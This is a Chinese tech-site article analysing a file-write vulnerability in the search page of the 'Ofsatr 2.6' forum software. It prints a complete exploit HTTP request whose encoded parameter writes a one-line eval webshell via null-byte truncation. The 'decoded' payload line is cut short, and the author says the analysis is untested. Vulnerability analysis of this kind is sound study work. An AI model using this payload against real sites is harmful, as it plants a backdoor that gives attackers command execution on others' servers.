欢迎来到代码驿站!

当前位置:首页 >

Ofsatr 2.6搜索漏洞的简单分析

时间:2020-10-16 12:39:05|栏目:|点击:
看到网上有类似的工具,但分析的文章却没找到,听小黑说黑客手册上有,可惜偶没有杂志,所以就抓包然后看下代码,大致分析了一下。这个漏洞很巧妙、也很经典 :)   

GET /search.php?keyword=By%20CN911&cachefile=an85.php%2500&treadinfo=〈?fputs(fop  
en(chr(46).chr(47).chr(46).chr(46).chr(47).chr(46).chr(46).chr(47).chr(98).chr(98).chr(115).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(110).chr(57).chr(49).chr(49).chr(46).chr(112).chr(104).chr(112),w),chr(60).chr(63).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62))?〉 HTTP/1.1  
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*  
Accept-Language: zh-cn  
Accept-Encoding: gzip, deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)  
Host: 127.0.0.1   
  这是我抓包的文件,从抓包的文件里可以看出有三个变量:$keyword、$cachefile、$treadinfo。其中$keyword可以为任意关键字;$cachefile必须为一PHP文件,这个就是我们的PHP SHELL后面紧跟着%2500既为%00截断字符;$treadinfo就是生成木马的代码,我没解码,但猜测是把一句话木马写到另一个PHP文件的PHP代码。  
  PS:$treadinfo内容解码如下:   
&treadinfo=〈?fputs(fop   
  好了以上就是抓包得到的分析 让我们看下seach.PHP的代码吧,找出漏洞具体在哪儿。  
  第N行代码如下:    
$cachefile=rawurldecode($cachefile);   

  rawurldecode 函数是对已编码的 URL 字符串进行解码,分别对$keyword和$cachefile进行URL 字符串进行解码。rawurldecode这个函数也是关键之一,%00 经过rawurldecode的包装后,在〈PHP5.0下可以饶过GPC=ON起到截断作用。  
  第N+N行代码如下    
.....................   
$keywordarray=explode("│",$keyword);   
$keycount=count($keywordarray);   
if($sch_area=="C"){   
include'./require/schall.php';   
}elseif($sch_area=="A"){   
for ( $j = 0; $j 〈 $keycount; $j++){   
  $keywordarray[$j].="|";/*搜索作者准确匹配*/   
}   
include'./require/schpart.php';   
}else{   
include'./require/schpart.php';   
}   
if (!file_exists("userdata/cache/$cachefile.txt")){   
showmsg("没 有 您 要 查 找 的 内 容 〈br〉〈br〉〈br〉〈a href='search.php'〉继 续 搜 索〈/a〉〈/li〉〈/ul〉");   
}   
...............................   
  这里调用了schall.php或schpart.php文件,我们在看这个两个文件schall.php和schpart.php文件最后一行代码是:  
if($treadinfo)   
writeover("./userdata/cache/$cachefile.txt",$treadinfo,"ab");   
  所以无论调用哪个文件都可以把treadinfo的内容写入缓存文件,因为变量$treadinfo没初始化,可以自定义SHELL代码,而$cachefile又可以自定义一个PHP文件,后面用%00截断TXT。所以这行代码就是把木马写到PHP文件中。  
  到此漏洞产生的大致过程已经比较明确了 由于本人在网吧看的代码,也没具体测试。其中有些细节没指出,如有错误请指出。也非常佩服漏洞发现者SAIY的观察力。确实是个非常经典的漏洞 :) 

上一篇:Docker部署Django应用的示例

栏    目:

下一篇:R语言ggplot2边框背景去除的实现

本文标题:Ofsatr 2.6搜索漏洞的简单分析

本文地址:http://www.codeinn.net/misctech/12185.html

推荐教程

广告投放 | 联系我们 | 版权申明

重要申明:本站所有的文章、图片、评论等,均由网友发表或上传并维护或收集自网络,属个人行为,与本站立场无关。

如果侵犯了您的权利,请与我们联系,我们将在24小时内进行处理、任何非本站因素导致的法律后果,本站均不负任何责任。

联系QQ:914707363 | 邮箱:codeinn#126.com(#换成@)

Copyright © 2020 代码驿站 版权所有